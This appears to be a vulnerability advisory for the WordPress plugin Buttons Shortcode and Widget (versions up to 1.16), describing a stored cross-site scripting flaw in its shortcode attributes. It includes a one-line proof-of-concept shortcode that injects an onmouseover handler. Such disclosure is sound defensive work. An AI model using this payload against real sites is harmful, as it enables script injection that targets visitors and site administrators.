WordPress Plugin Vulnerabilities

Buttons Shortcode and Widget <= 1.16 - Stored XSS via shortcode

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

Proof of Concept

[otw_shortcode_button href="http://9ml" size="medium" icon_position="left" shape="square" icon_url="http://9ml" color_class="otw-pink" css_class='" onmouseover="alert(/XSS/)"' target="_blank"]123[/otw_shortcode_button]

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Dmitrii Ignatyev
Submitter
Dmitrii Ignatyev
Submitter website
Verified
Yes

Timeline

Publicly Published
2024-02-20 (about 2 months ago)
Added
2024-02-20 (about 2 months ago)
Last Updated
2024-02-20 (about 2 months ago)

Other